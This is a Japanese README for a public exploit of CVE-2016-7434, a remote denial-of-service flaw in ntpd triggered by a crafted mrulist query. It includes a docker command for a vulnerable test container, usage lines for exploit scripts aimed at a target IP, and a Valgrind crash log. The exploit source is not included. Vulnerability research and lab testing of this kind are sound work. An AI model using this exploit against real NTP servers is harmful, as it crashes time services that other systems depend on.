opsxcq/exploit-cve-2016-7434NTPDリモートDoSエクスプロイトと脆弱なコンテナ
Ntpd は null ポインタ参照の問題を抱えており、これをトリガーしてアプリケーションをクラッシュさせることが可能です。NTP.org によると、「ntpd が mrulist クエリ要求を許可するように設定されており、そのサーバーが細工された悪意のあるパケットを送信した場合、その細工された悪意のある mrulist クエリパケットを受信すると ntpd はクラッシュします。」
ntpd プログラムは、コンピュータシステムのシステム時刻をインターネット標準のタイムサーバーと同期して設定・維持するオペレーティングシステムのデーモンです。これは Network Time Protocol (NTP) バージョン 4 の完全な実装ですが、バージョン 1、2、3 との互換性も保持しています。
MRU リストを読み取るルーチン (read_mru_list) はこちらにあり、例外が発生する行はこちらです。
このエクスプロイトをテストするために脆弱なシステムが必要な場合は、docker を使用して作成できます
docker run --rm -it --name ntpvulnerable -p 123:123/udp vulnerables/cve-2016-7434
これにより、脆弱な ntpd を持つ docker コンテナが起動し、エクスプロイトが可能になります。
./exploit.py -t <target ip> -p <target port>
./exploit.sh <target ip> <target port>
Docker コンテナに対してエクスプロイトを実行する場合、実行後は以下の結果が表示されます：
==1== Memcheck, a memory error detector
==1== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==1== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
==1== Command: /src/ntpd/ntpd -n -c /ntp.conf
==1==
22 Nov 23:59:27 ntpd[1]: ntpd [email protected] Tue Nov 22 23:28:13 UTC 2016 (1): Starting
22 Nov 23:59:27 ntpd[1]: Command line: /src/ntpd/ntpd -n -c /ntp.conf
22 Nov 23:59:27 ntpd[1]: Cannot set RLIMIT_MEMLOCK: Operation not permitted
22 Nov 23:59:27 ntpd[1]: proto: precision = 4.680 usec (-18)
22 Nov 23:59:27 ntpd[1]: switching logging to file /dev/null
22 Nov 23:59:27 ntpd[1]: Listen and drop on 0 v6wildcard [::]:123
22 Nov 23:59:27 ntpd[1]: Listen and drop on 1 v4wildcard 0.0.0.0:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 2 lo 127.0.0.1:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 3 eth0 172.17.0.2:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 4 lo [::1]:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 5 eth0 [fe80::42:acff:fe11:2%13]:123
22 Nov 23:59:27 ntpd[1]: Listening on routing socket on fd #22 for interface updates
22 Nov 23:59:28 ntpd[1]: start_kern_loop: ntp_loopfilter.c line 1118: ntp_adjtime: Operation not permitted
22 Nov 23:59:28 ntpd[1]: set_freq: ntp_loopfilter.c line 1081: ntp_adjtime: Operation not permitted
==1== Invalid read of size 1
==1== at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==1== by 0x44EB2D: estrdup_impl (emalloc.c:128)
==1== by 0x4192D9: read_mru_list (ntp_control.c:4041)
==1== by 0x423FC1: receive (ntp_proto.c:659)
==1== by 0x412D5F: ntpdmain (ntpd.c:1329)
==1== by 0x4042B8: main (ntpd.c:392)
==1== Address 0x0 is not stack'd, malloc'd or (recently) free'd
==1==
==1==
==1== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==1== Access not within mapped region at address 0x0
==1== at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==1== by 0x44EB2D: estrdup_impl (emalloc.c:128)
==1== by 0x4192D9: read_mru_list (ntp_control.c:4041)
==1== by 0x423FC1: receive (ntp_proto.c:659)
==1== by 0x412D5F: ntpdmain (ntpd.c:1329)
==1== by 0x4042B8: main (ntpd.c:392)
==1== If you believe this happened as a result of a stack
==1== overflow in your program's main thread (unlikely but
==1== possible), you can try to increase the size of the
==1== main thread stack using the --main-stacksize= flag.
==1== The main thread stack size used in this run was 204800.
==1==
==1== HEAP SUMMARY:
==1== in use at exit: 31,476 bytes in 149 blocks
==1== total heap usage: 313 allocs, 164 frees, 310,744 bytes allocated
==1==
==1== LEAK SUMMARY:
==1== definitely lost: 0 bytes in 0 blocks
==1== indirectly lost: 0 bytes in 0 blocks
==1== possibly lost: 2,000 bytes in 2 blocks
==1== still reachable: 29,476 bytes in 147 blocks
==1== suppressed: 0 bytes in 0 blocks
==1== Rerun with --leak-check=full to see details of leaked memory
==1==
==1== For counts of detected and suppressed errors, rerun with: -v
==1== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
valgrind: the 'impossible' happened:
main(): signal was supposed to be fatal
host stacktrace:
==1== at 0x380A48EF: show_sched_status_wrk (m_libcassert.c:319)
sched status:
running_tid=1
このプログラムおよび以前のプログラムは教育目的のみに使用されます。許可なく使用しないでください。通常の免責事項が適用されます。特に、私（opsxcq）は、これらのプログラムが提供する情報や機能の直接的または間接的な使用によって生じるいかなる損害に対しても責任を負いません。著者またはインターネットプロバイダーは、これらのプログラムまたはその派生プログラムの内容や誤用について一切責任を負いません。これらのプログラムを使用することにより、これらのプログラムの使用によって引き起こされる損害（データ損失、システムクラッシュ、システム侵害など）が opsxcq の責任ではないことを了承したことになります。
Magnus Klaaborg Stubman (@magnusstubman) がこの欠陥を発見しました。